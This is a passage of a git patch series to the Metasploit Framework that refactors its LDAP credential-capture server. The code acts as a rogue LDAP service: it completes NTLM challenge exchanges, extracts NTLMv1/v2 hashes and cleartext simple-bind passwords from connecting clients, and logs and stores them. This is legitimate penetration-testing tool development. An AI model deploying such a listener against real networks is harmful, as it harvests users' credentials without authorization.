[datastore['CHALLENGE'].pack('H*')] - - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [nt_hash].pack('H*'), - srv_challenge: challenge, - ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, - type: 'ntlm' - }) - arg[:error_msg] = 'NLMv1 Hash correspond to an empty password, ignoring ... ' - return - end - if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/ - lm_hash_message = 'Disabled' - elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [lm_hash].pack('H*'), - srv_challenge: challenge, - ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, - type: 'lm' - }) - lm_hash_message = 'Disabled (from empty password)' - else - lm_hash_message = lm_hash - end - - hash = [ - lm_hash || '0' * 48, - nt_hash || '0' * 48 - ].join(':').gsub(/\n/, '\\n') - arg[:private] = hash - when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [nt_hash].pack('H*'), - srv_challenge: challenge, - cli_challenge: [nt_cli_challenge].pack('H*'), - user: user, - domain: domain, - ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, - type: 'ntlm' - }) - arg[:error_msg] = 'NTLMv2 Hash correspond to an empty password, ignoring ... ' - return - end - if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) - lm_hash_message = 'Disabled' - elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [lm_hash].pack('H*'), - srv_challenge: challenge, - cli_challenge: [lm_cli_challenge].pack('H*'), - user: user, - domain: domain, - ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, - type: 'lm' - }) - lm_hash_message = 'Disabled (from empty password)' - else - lm_hash_message = lm_hash - end - - hash = [ - lm_hash || '0' * 32, - nt_hash || '0' * 32 - ].join(':').gsub(/\n/, '\\n') - arg[:private] = hash - when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT.is_hash_from_empty_pwd?({ - hash: [nt_hash].pack('H*'), - srv_challenge: challenge, - cli_challenge: [lm_hash].pack('H*')[0, 8], - ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, - type: 'ntlm' - }) - arg[:error_msg] = 'NTLM2_session Hash correspond to an empty password, ignoring ... ' - return - end - - hash = [ - lm_hash || '0' * 48, - nt_hash || '0' * 48 - ].join(':').gsub(/\n/, '\\n') - arg[:private] = hash - else - return - end - arg[:domain] = domain - arg[:user] = user - arg[:private_type] = :ntlm_hash - arg - end - - def search_res(filter, msgid, attrflt = :all) - if @ldif.nil? || @ldif.empty? - attrs = [] - if attrflt.is_a?(Array) - attrflt.each do |at| - attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set - attrs << [at.to_ber, attrval].to_ber_sequence - end - dn = "dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}" - appseq = [ - dn.to_ber, - attrs.to_ber_sequence - ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) - [msgid.to_ber, appseq].to_ber_sequence - end - else - ldif.map do |bind_dn, entry| - next unless filter.match(entry) - - attrs = [] - entry.each do |k, v| - if attrflt == :all || attrflt.include?(k.downcase) - attrvals = v.map(&:to_ber).to_ber_set - attrs << [k.to_ber, attrvals].to_ber_sequence - end - end - appseq = [ - bind_dn.to_ber, - attrs.to_ber_sequence - ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) - [msgid.to_ber, appseq].to_ber_sequence - end.compact.join - end - end - - def parse_type1_domain(message) - domain = nil - workstation = nil - - reqflags = message[12, 4] - reqflags = reqflags.unpack('V').first - - if (reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN - dom_len = message[16, 2].unpack('v')[0].to_i - dom_off = message[20, 2].unpack('v')[0].to_i - domain = message[dom_off, dom_len].to_s - end - if (reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION - wor_len = message[24, 2].unpack('v')[0].to_i - wor_off = message[28, 2].unpack('v')[0].to_i - workstation = message[wor_off, wor_len].to_s - end - [domain, workstation] - end - - def encode_ldapsasl_response(msgid, code, dn, msg, creds, tag) - [ - msgid.to_ber, - [ - code.to_ber_enumerated, - dn.to_ber, - msg.to_ber, - [creds.to_ber].to_ber_contextspecific(7) - ].to_ber_appsequence(tag) - ].to_ber_sequence - end - - def suitable_response(request) - responses = { - Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult, - Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult, - Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse, - Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse, - Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse, - Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse, - Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse, - Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse - } - - responses[request] - end - end - end - end - end -end \ No newline at end of file diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index 34e5a98503..bf35af9cd0 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -32,8 +32,8 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptAddress.new('SRVHOST', [ true, 'The localhost to listen on.', '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]), + OptAddress.new('SRVHOST', [ true, 'The ip address to listen on.', '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, 'The port to listen on.', '389' ]), OptString.new('CHALLENGE', [ true, 'The 8 byte challenge', Rex::Text.rand_text_alphanumeric(16) ]) ] ) @@ -57,103 +57,21 @@ class MetasploitModule < Msf::Auxiliary print_error('CHALLENGE syntax must match 1122334455667788') return end - start_service - service.wait - rescue Rex::BindFailed => e - print_error "Failed to bind to port #{datastore['SRVPORT']}: #{e.message}" + exploit end - def on_dispatch_request(client, data) - return if data.strip.empty? || data.strip.nil? - - state = {} - - state[client] = { - name: "#{client.peerhost}:#{client.peerport}", - ip: client.peerhost, - port: client.peerport, - service_name: 'ldap' - } - - data.extend(Net::BER::Extensions::String) - begin - pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) - vprint_status("LDAP request data remaining: #{data}") unless data.empty? - - res = case pdu.app_tag - when Net::LDAP::PDU::BindRequest - result_message = "" - user_login = pdu.bind_parameters - - auth_info = process_login_request(user_login) - auth_info = auth_info.merge(state[:client]) - if auth_info[:error_msg] - print_error(auth_info[:error_msg]) - else - if user_login.authentication[1] =~ /NTLMSSP/ && auth_info[:ntlm_t2] - response = encode_ldapsasl_response( - pdu.message_id, - Net::LDAP::ResultCodeSaslBindInProgress, - '', - '', - auth_info[:ntlm_t2], - Net::LDAP::PDU::BindResult - ) - on_send_response(client, response) - return - else - result_message = "LDAP Login Attempt => From:#{auth_info[:name]} Username:#{auth_info[:user]} Password:#{auth_info[:private]}" - result_message += " Domain:#{auth_info[:domain]}" if auth_info[:domain] - print_good(result_message) - report_cred(auth_info) - end - end - service.encode_ldap_response( - pdu.message_id, - auth_info[:result_code], - '', - Net::LDAP::ResultStrings[auth_info[:result_code]], - Net::LDAP::PDU::BindResult - ) - when Net::LDAP::PDU::SearchRequest - filter = Net::LDAP::Filter.parse_ldap_filter(pdu.search_parameters[:filter]) - attrs = pdu.search_parameters[:attributes].empty? ? :all : pdu.search_parameters[:attributes] - res = search_res(filter, pdu.message_id, attrs) - if res.nil? || res.empty? - result_code = Net::LDAP::ResultCodeNoSuchObject - else - client.write(res) - result_code = Net::LDAP::ResultCodeSuccess - end - service.encode_ldap_response( - pdu.message_id, - result_code, - '', - Net::LDAP::ResultStrings[result_code], - Net::LDAP::PDU::SearchResult - ) - when Net::LDAP::PDU::UnbindRequest - client.close - nil - else - if suitable_response(pdu.app_tag) - result_code = Net::LDAP::ResultCodeUnwillingToPerform - service.encode_ldap_response( - pdu.message_id, - result_code, - '', - Net::LDAP::ResultStrings[result_code], - suitable_response(pdu.app_tag) - ) - else - client.close - end - end - - on_send_response(client, res) unless res.nil? - rescue StandardError => e - client.close - print_error("Failed to handle LDAP request due to #{e}") + def on_processed_pdu(processed_data) + pdu_type = processed_data[:pdu_type] + case pdu_type + when Net::LDAP::PDU::BindRequest + if processed_data[:error_msg] + print_error(processed_data[:error_msg]) + else + print_good(processed_data[:result_message]) + report_cred(processed_data) + end + else + return end end From 7876912eab45c684473f278973915decafc8fca6 Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Thu, 5 Oct 2023 07:53:23 -0400 Subject: [PATCH 09/21] Changes-as-per-comments --- lib/msf/core/exploit/remote/ldap/server.rb | 44 +++------ lib/rex/proto/ldap/auth.rb | 21 +++-- lib/rex/proto/ldap/server.rb | 104 ++++++++++----------- modules/auxiliary/server/capture/ldap.rb | 20 ++-- 4 files changed, 88 insertions(+), 101 deletions(-) diff --git a/lib/msf/core/exploit/remote/ldap/server.rb b/lib/msf/core/exploit/remote/ldap/server.rb index 40f33fe0c4..d158d52e02 100644 --- a/lib/msf/core/exploit/remote/ldap/server.rb +++ b/lib/msf/core/exploit/remote/ldap/server.rb @@ -10,6 +10,7 @@ module Msf module Server include Exploit::Remote::SocketServer + # # Initializes an exploit module that serves LDAP requests # def initialize(info = {}) @@ -70,45 +71,30 @@ module Msf cli.write(data) end - # Perform the required tasks after pdu object is processed - # Override this method in modules to take flow control - # - def on_processed_pdu(processed_data) - pdu_type = processed_data[:pdu_type] - case pdu_type - when Net::LDAP::PDU::BindRequest - processed_data - else - return - end - end - # # Starts the server # def start_service comm = _determine_server_comm(bindhost) + auth_handler = Rex::Proto::LDAP::Auth.new( + datastore['CHALLENGE'], + datastore['Domain'], + datastore['Server'], + datastore['DnsName'], + datastore['DnsDomain'] + ) self.service = Rex::ServiceManager.start( Rex::Proto::LDAP::Server, - { - bindhost: bindhost, - bindport: bindport, - udp: datastore['LdapServerUdp'], - tcp: datastore['LdapServerTcp'], - ldif: read_ldif, - comm: comm, - challenge: datastore['CHALLENGE'], - domain: datastore['Domain'], - server: datastore['Server'], - dnsname: datastore['DnsName'], - dnsdomain: datastore['DnsDomain'] - }, + bindhost, + bindport, + datastore['LdapServerUdp'], + datastore['LdapServerTcp'], + read_ldif, + comm, + auth_handler, { 'Msf' => framework, 'MsfExploit' => self } ) - service.processed_pdu_handler do |processed_data| - on_processed_pdu(processed_data) - end service.dispatch_request_proc = proc do |cli, data| on_dispatch_request(cli, data) end diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb index 568b31accd..42eb7f6e42 100644 --- a/lib/rex/proto/ldap/auth.rb +++ b/lib/rex/proto/ldap/auth.rb @@ -12,20 +12,25 @@ module Rex # # Initialize the required variables # - # @param opts [Hash] Required authentication options - def initialize(opts = {}) # chech for the options recieved - @domain = opts[:domain] - @server = opts[:server] - @dnsname = opts[:dnsname] - @dnsdomain = opts[:dnsdomain] - @challenge = [ opts[:challenge] ].pack('H*') + # @param challenge [String] NTLM Server Challenge + # @param domain [String] Domain value used in NTLM + # @param server [String] Server value used in NTLM + # @param dnsname [String] DNS Name value used in NTLM + # @param dnsdomain [String] DNS Domain value used in NTLM + def initialize(challenge = Rex::Text.rand_text_alphanumeric(16), domain = 'DOMAIN', + server = 'SERVER', dnsname = 'server', dnsdomain = 'example.com') + @domain = domain + @server = server + @dnsname = dnsname + @dnsdomain = dnsdomain + @challenge = [challenge].pack('H*') end # # Process the incoming LDAP login requests from clients # # @param user_login [OpennStruct] User login information - # + # # @return auth_info [Hash] Processed authentication information def process_login_request(user_login) auth_info = {} diff --git a/lib/rex/proto/ldap/server.rb b/lib/rex/proto/ldap/server.rb index 069e5d7cb2..8c890797e2 100644 --- a/lib/rex/proto/ldap/server.rb +++ b/lib/rex/proto/ldap/server.rb @@ -7,7 +7,7 @@ module Rex module Proto module LDAP class Server - attr_reader :serve_udp, :serve_tcp, :sock_options, :udp_sock, :tcp_sock, :syntax, :ldif, :auth_options, :pdu_process + attr_reader :serve_udp, :serve_tcp, :sock_options, :udp_sock, :tcp_sock, :syntax, :ldif module LdapClient attr_accessor :authenticated @@ -51,32 +51,31 @@ module Rex # # Create LDAP Server # - # @param opts [Hash] Options required to start service + # @param lhost [String] Listener address + # @param lport [Fixnum] Listener port + # @param udp [TrueClass, FalseClass] Listen on UDP socket + # @param tcp [TrueClass, FalseClass] Listen on TCP socket + # @param ldif [String] LDIF data + # @param auth_provider [Rex::Proto::LDAP::Auth] LDAP Authentication provider which processes authentication # @param ctx [Hash] Framework context for sockets # @param dblock [Proc] Handler for :dispatch_request flow control interception # @param sblock [Proc] Handler for :send_response flow control interception # # @return [Rex::Proto::LDAP::Server] LDAP Server object - def initialize(opts = {}, ctx = {}, dblock = nil, sblock = nil) - @serve_udp = opts[:udp] - @serve_tcp = opts[:tcp] + def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = nil, comm = nil, auth_provider = nil, ctx = {}, dblock = nil, sblock = nil) + @serve_udp = udp + @serve_tcp = tcp @sock_options = { - 'LocalHost' => opts[:bindhost], - 'LocalPort' => opts[:bindport], + 'LocalHost' => lhost, + 'LocalPort' => lport, 'Context' => ctx, - 'Comm' => opts[:comm] + 'Comm' => comm } - @ldif = opts[:ldif] + @ldif = ldif self.listener_thread = nil self.dispatch_request_proc = dblock self.send_response_proc = sblock - @auth_options = { #check for nill cases - challenge: opts[:challenge], - domain: opts[:domain], - server: opts[:server], - dnsname: opts[:dnsname], - dnsdomain: opts[:dnsdomain] - } + @auth_provider = auth_provider end # @@ -112,13 +111,13 @@ module Rex stop raise e end - if !serve_udp + unless serve_udp self.listener_thread = tcp_sock.listener_thread end end - if auth_options - @auth_provider = Rex::Proto::LDAP::Auth.new(auth_options) + if @auth_provider.nil? + @auth_provider = Rex::Proto::LDAP::Auth.new end self @@ -161,10 +160,9 @@ module Rex def default_dispatch_request(client, data) return if data.strip.empty? || data.strip.nil? - state = {} post_pdu = false processed_pdu_data = {} - state[client] = { + client_details = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, @@ -174,20 +172,22 @@ module Rex data.extend(Net::BER::Extensions::String) begin pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) - vprint_status("LDAP request data remaining: #{data}") unless data.empty? + wlog("LDAP request data remaining: #{data}") unless data.empty? res = case pdu.app_tag when Net::LDAP::PDU::BindRequest user_login = pdu.bind_parameters server_creds = '' + context_code = nil processed_pdu_data = @auth_provider.process_login_request(user_login) - processed_pdu_data = processed_pdu_data.merge(state[client]) + processed_pdu_data = processed_pdu_data.merge(client_details) if processed_pdu_data[:result_code] == Net::LDAP::ResultCodeSaslBindInProgress server_creds = processed_pdu_data[:server_creds] + context_code = 7 else - processed_pdu_data[:result_message] = "LDAP Login Attempt => From:#{processed_pdu_data[:name]}\n Username:#{processed_pdu_data[:user]}\n #{processed_pdu_data[:private_type]}:#{processed_pdu_data[:private]}\n" + processed_pdu_data[:result_message] = "LDAP Login Attempt => From:#{processed_pdu_data[:name]}\t Username:#{processed_pdu_data[:user]}\t #{processed_pdu_data[:private_type]}:#{processed_pdu_data[:private]}\t" processed_pdu_data[:result_message] += " Domain:#{processed_pdu_data[:domain]}" if processed_pdu_data[:domain] - post_pdu = true + processed_pdu_data[:post_pdu] = true end processed_pdu_data[:pdu_type] = pdu.app_tag encode_ldap_response( @@ -196,7 +196,8 @@ module Rex '', Net::LDAP::ResultStrings[processed_pdu_data[:result_code]], Net::LDAP::PDU::BindResult, - server_creds + server_creds, + context_code ) when Net::LDAP::PDU::SearchRequest filter = Net::LDAP::Filter.parse_ldap_filter(pdu.search_parameters[:filter]) @@ -234,12 +235,14 @@ module Rex end end - if @pdu_process && post_pdu - @pdu_process.call(processed_pdu_data) + if @pdu_process[pdu.app_tag] && !processed_pdu_data.empty? + @pdu_process[pdu.app_tag].call(processed_pdu_data) end send_response(client, res) unless res.nil? rescue StandardError => e + elog(e) client.close + raise e end end @@ -251,35 +254,29 @@ module Rex # @param dn [String] LDAP distinguished name # @param msg [String] LDAP response message # @param tag [Integer] LDAP response tag - # @param server_creds [String] LDAP response server SASL credentials + # @param context_data [String] Additional data to serialize in the sequence + # @param context_code [Integer] Context Specific code related to `context_data` # # @return [Net::BER::BerIdentifiedOid] LDAP query response - def encode_ldap_response(msgid, code, dn, msg, tag, server_creds = '') - case code - when Net::LDAP::ResultCodeSaslBindInProgress - [ - msgid.to_ber, - [ - code.to_ber_enumerated, - dn.to_ber, - msg.to_ber, - [server_creds.to_ber].to_ber_contextspecific(7) - ].to_ber_appsequence(tag) - ].to_ber_sequence - else - [ - msgid.to_ber, - [ - code.to_ber_enumerated, - dn.to_ber, - msg.to_ber - ].to_ber_appsequence(tag) - ].to_ber_sequence + def encode_ldap_response(msgid, code, dn, msg, tag, context_data = nil, context_code = nil) + tag_sequence = [ + code.to_ber_enumerated, + dn.to_ber, + msg.to_ber + ] + + if context_data && context_code + tag_sequence << [context_data.to_ber].to_ber_contextspecific(context_code) end + + [ + msgid.to_ber, + tag_sequence.to_ber_appsequence(tag) + ].to_ber_sequence end # - # Search provided ldif data for query information + # Search provided ldif data for query information. If no `ldif` was provided a random search result will be generated. # # @param filter [Net::LDAP::Filter] LDAP query filter # @param attrflt [Array, Symbol] LDAP attribute filter @@ -327,8 +324,9 @@ module Rex # @param proc [Proc] block of code to execute # # @return pdu_process [Proc] steps to be executed - def processed_pdu_handler(&proc) - @pdu_process = proc if block_given? + def processed_pdu_handler(pdu_type, &proc) + @pdu_process = [] + @pdu_process[pdu_type] = proc if block_given? end # diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index bf35af9cd0..cb25c6097d 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -60,18 +60,16 @@ class MetasploitModule < Msf::Auxiliary exploit end - def on_processed_pdu(processed_data) - pdu_type = processed_data[:pdu_type] - case pdu_type - when Net::LDAP::PDU::BindRequest - if processed_data[:error_msg] - print_error(processed_data[:error_msg]) - else - print_good(processed_data[:result_message]) - report_cred(processed_data) + def primer + service.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data| + unless processed_data[:post_pdu] + if processed_data[:error_msg] + print_error(processed_data[:error_msg]) + else + print_good(processed_data[:result_message]) + report_cred(processed_data) + end end - else - return end end From 672d651221d5384579ae8f9cc8a3f127f0680219 Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Sat, 4 Nov 2023 11:41:27 -0400 Subject: [PATCH 10/21] Optimization-of-the-libraries-using-Net-NTLM --- lib/rex/proto/ldap/auth.rb | 142 +++++++++++++---------------------- lib/rex/proto/ldap/server.rb | 17 ++--- 2 files changed, 57 insertions(+), 102 deletions(-) diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb index 42eb7f6e42..b71080d870 100644 --- a/lib/rex/proto/ldap/auth.rb +++ b/lib/rex/proto/ldap/auth.rb @@ -17,19 +17,18 @@ module Rex # @param server [String] Server value used in NTLM # @param dnsname [String] DNS Name value used in NTLM # @param dnsdomain [String] DNS Domain value used in NTLM - def initialize(challenge = Rex::Text.rand_text_alphanumeric(16), domain = 'DOMAIN', - server = 'SERVER', dnsname = 'server', dnsdomain = 'example.com') - @domain = domain - @server = server - @dnsname = dnsname - @dnsdomain = dnsdomain - @challenge = [challenge].pack('H*') + def initialize(challenge, domain, server, dnsname, dnsdomain) + @domain = domain.nil? ? 'DOMAIN' : domain + @server = server.nil? ? 'SERVER' : server + @dnsname = dnsname.nil? ? 'server' : dnsname + @dnsdomain = dnsdomain.nil? ? 'example.com' : dnsdomain + @challenge = [challenge.nil? ? Rex::Text.rand_text_alphanumeric(16) : challenge].pack('H*') end # # Process the incoming LDAP login requests from clients # - # @param user_login [OpennStruct] User login information + # @param user_login [OpenStruct] User login information # # @return auth_info [Hash] Processed authentication information def process_login_request(user_login) @@ -51,9 +50,9 @@ module Rex # # Handle Anonymous authentication requests # - # @param user_login [OpennStruct] User login information + # @param user_login [OpenStruct] User login information # @param auth_info [Hash] Processed authentication information - # + # # @return auth_info [Hash] Processed authentication information def handle_anonymous_request(user_login, auth_info = {}) if user_login.name.empty? && user_login.authentication.empty? @@ -70,9 +69,9 @@ module Rex # # Handle Simple authentication requests # - # @param user_login [OpennStruct] User login information + # @param user_login [OpenStruct] User login information # @param auth_info [Hash] Processed authentication information - # + # # @return auth_info [Hash] Processed authentication information def handle_simple_request(user_login, auth_info = {}) domains = [] @@ -84,7 +83,7 @@ module Rex auth_info[:user], auth_info[:domain] = pub_info else auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials - auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}" end elsif user_login.name =~ /,/ begin @@ -96,10 +95,10 @@ module Rex domains << value end end - auth_info[:user] = names.first + auth_info[:user] = names.join('') auth_info[:domain] = domains.empty? ? nil : domains.join('.') - rescue InvalidDNError => e - auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + rescue Net::LDAP::InvalidDNError => e + auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}" raise e end elsif user_login.name =~ /\\/ @@ -108,7 +107,7 @@ module Rex auth_info[:domain], auth_info[:user] = pub_info else auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials - auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}" end else auth_info[:user] = user_login.name @@ -118,7 +117,7 @@ module Rex auth_info[:private] = user_login.authentication auth_info[:private_type] = :password auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported if auth_info[:result_code].nil? - auth_info[:auth_info] = 'Simple' + auth_info[:auth_type] = 'Simple' auth_info end end @@ -126,18 +125,18 @@ module Rex # # Handle SASL authentication requests # - # @param user_login [OpennStruct] User login information + # @param user_login [OpenStruct] User login information # @param auth_info [Hash] Processed authentication information - # + # # @return auth_info [Hash] Processed authentication information def handle_sasl_request(user_login, auth_info = {}) if user_login.authentication[1] =~ /NTLMSSP/ - message = user_login.authentication[1] + message = Net::NTLM::Message.parse(user_login.authentication[1]) - if message[8, 1] == "\x01" + if message.is_a?(::Net::NTLM::Message::Type1) auth_info[:server_creds] = generate_type2_response(message) auth_info[:result_code] = Net::LDAP::ResultCodeSaslBindInProgress - elsif message[8, 1] == "\x03" + elsif message.is_a?(::Net::NTLM::Message::Type3) auth_info = handle_type3_message(message, auth_info) auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported end @@ -152,73 +151,60 @@ module Rex # # Generate NTLM Type2 response from NTLM Type1 message # - # @param message [String] NTLM Type1 message - # - # @return server_hash [String] NTLM Type2 response + # @param message [Net::NTLM::Message::Type1] NTLM Type1 message + # + # @return server_hash [String] NTLM Type2 response that is sent as server credentials def generate_type2_response(message) - dom, ws = parse_type1_domain(message) - if dom - @domain = dom - end - if ws - @server = ws - end - mess1 = Rex::Text.encode_base64(message) - server_hash = MESSAGE.process_type1_message(mess1, @challenge, @domain, @server, @dnsname, @dnsdomain) + dom = message.domain + ws = message.workstation + @domain = dom if dom + @server = ws if ws + server_hash = MESSAGE.process_type1_message(message.encode64, @challenge, @domain, @server, @dnsname, @dnsdomain) Rex::Text.decode_base64(server_hash) end # # Handle NTLM Type3 message # - # @param message [String] NTLM Type3 message + # @param message [Net::NTLM::Message::Type3] NTLM Type3 message # @param auth_info [Hash] Processed authentication information - # + # # @return auth_info [Hash] Processed authentication information def handle_type3_message(message, auth_info = {}) - arg = {} - mess2 = Rex::Text.encode_base64(message) - domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(mess2) + arg = { + domain: message.domain, + user: message.user, + host: message.workstation + } + + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(message.encode64) nt_len = ntlm_hash.length - if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session - arg = { - ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, - lm_hash: lm_hash, - nt_hash: ntlm_hash - } + if nt_len == 48 + arg[:ntlm_ver] = NTLM_CONST::NTLM_V1_RESPONSE + arg[:lm_hash] = lm_hash + arg[:nt_hash] = ntlm_hash if arg[:lm_hash][16, 32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end - elsif nt_len > 48 # lmv2/ntlmv2 - arg = { - ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, - lm_hash: lm_hash[0, 32], - lm_cli_challenge: lm_hash[32, 16], - nt_hash: ntlm_hash[0, 32], - nt_cli_challenge: ntlm_hash[32, nt_len - 32] - } - elsif nt_len == 0 - auth_info[:error_msg] = "Empty hash from #{host} captured, ignoring ... " + elsif nt_len > 48 + arg[:ntlm_ver] = NTLM_CONST::NTLM_V2_RESPONSE + arg[:lm_hash] = lm_hash[0, 32] + arg[:lm_cli_challenge] = lm_hash[32, 16] + arg[:nt_hash] = ntlm_hash[0, 32] + arg[:nt_cli_challenge] = ntlm_hash[32, nt_len - 32] else auth_info[:error_msg] = "Unknown hash type from #{host}, ignoring ..." end - unless arg.nil? - arg[:user] = user - arg[:domain] = domain - arg[:host] = host - arg = process_ntlm_hash(arg) - auth_info = auth_info.merge(arg) - end - auth_info + auth_info.merge(process_ntlm_hash(arg)) unless arg.nil? end # # Process the NTLM Hash received from NTLM Type3 message # # @param arg [Hash] authentication information received from Type3 message - # + # # @return arg [Hash] Processed NTLM authentication information def process_ntlm_hash(arg = {}) ntlm_ver = arg[:ntlm_ver] @@ -321,32 +307,6 @@ module Rex arg[:private_type] = :ntlm_hash arg end - - # - # Parse the NTLM Type1 message to get information - # - # @param message [String] NTLM Type1 Message - # - # @return [domain, workstation] [Array] Domain and Workstation Information - def parse_type1_domain(message) - domain = nil - workstation = nil - - reqflags = message[12, 4] - reqflags = reqflags.unpack('V').first - - if (reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN - dom_len = message[16, 2].unpack('v')[0].to_i - dom_off = message[20, 2].unpack('v')[0].to_i - domain = message[dom_off, dom_len].to_s - end - if (reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION - wor_len = message[24, 2].unpack('v')[0].to_i - wor_off = message[28, 2].unpack('v')[0].to_i - workstation = message[wor_off, wor_len].to_s - end - [domain, workstation] - end end end end diff --git a/lib/rex/proto/ldap/server.rb b/lib/rex/proto/ldap/server.rb index 8c890797e2..decbd4d781 100644 --- a/lib/rex/proto/ldap/server.rb +++ b/lib/rex/proto/ldap/server.rb @@ -116,9 +116,7 @@ module Rex end end - if @auth_provider.nil? - @auth_provider = Rex::Proto::LDAP::Auth.new - end + @auth_provider ||= Rex::Proto::LDAP::Auth.new(nil, nil, nil, nil, nil) self end @@ -160,13 +158,11 @@ module Rex def default_dispatch_request(client, data) return if data.strip.empty? || data.strip.nil? - post_pdu = false - processed_pdu_data = {} - client_details = { - name: "#{client.peerhost}:#{client.peerport}", + processed_pdu_data = { ip: client.peerhost, port: client.peerport, - service_name: 'ldap' + service_name: 'ldap', + post_pdu: false } data.extend(Net::BER::Extensions::String) @@ -179,13 +175,12 @@ module Rex user_login = pdu.bind_parameters server_creds = '' context_code = nil - processed_pdu_data = @auth_provider.process_login_request(user_login) - processed_pdu_data = processed_pdu_data.merge(client_details) + processed_pdu_data = @auth_provider.process_login_request(user_login).merge(processed_pdu_data) if processed_pdu_data[:result_code] == Net::LDAP::ResultCodeSaslBindInProgress server_creds = processed_pdu_data[:server_creds] context_code = 7 else - processed_pdu_data[:result_message] = "LDAP Login Attempt => From:#{processed_pdu_data[:name]}\t Username:#{processed_pdu_data[:user]}\t #{processed_pdu_data[:private_type]}:#{processed_pdu_data[:private]}\t" + processed_pdu_data[:result_message] = "LDAP Login Attempt => From:#{processed_pdu_data[:ip]}:#{processed_pdu_data[:port]}\t Username:#{processed_pdu_data[:user]}\t #{processed_pdu_data[:private_type]}:#{processed_pdu_data[:private]}\t" processed_pdu_data[:result_message] += " Domain:#{processed_pdu_data[:domain]}" if processed_pdu_data[:domain] processed_pdu_data[:post_pdu] = true end From 6ba5d03993140855beeac9f3ffc2409395430855 Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Sat, 4 Nov 2023 11:43:01 -0400 Subject: [PATCH 11/21] Addition-of-suitable-tests-for-the-libraries --- spec/lib/rex/proto/ldap/auth_spec.rb | 231 +++++++++++++++++++++++++ spec/lib/rex/proto/ldap/server_spec.rb | 161 +++++++++++++++++ 2 files changed, 392 insertions(+) create mode 100644 spec/lib/rex/proto/ldap/auth_spec.rb create mode 100644 spec/lib/rex/proto/ldap/server_spec.rb diff --git a/spec/lib/rex/proto/ldap/auth_spec.rb b/spec/lib/rex/proto/ldap/auth_spec.rb new file mode 100644 index 0000000000..55d7c7eda0 --- /dev/null +++ b/spec/lib/rex/proto/ldap/auth_spec.rb @@ -0,0 +1,231 @@ +# frozen_string_literal: true + +require 'rex/text' +require 'rex/proto/ntlm/message' + 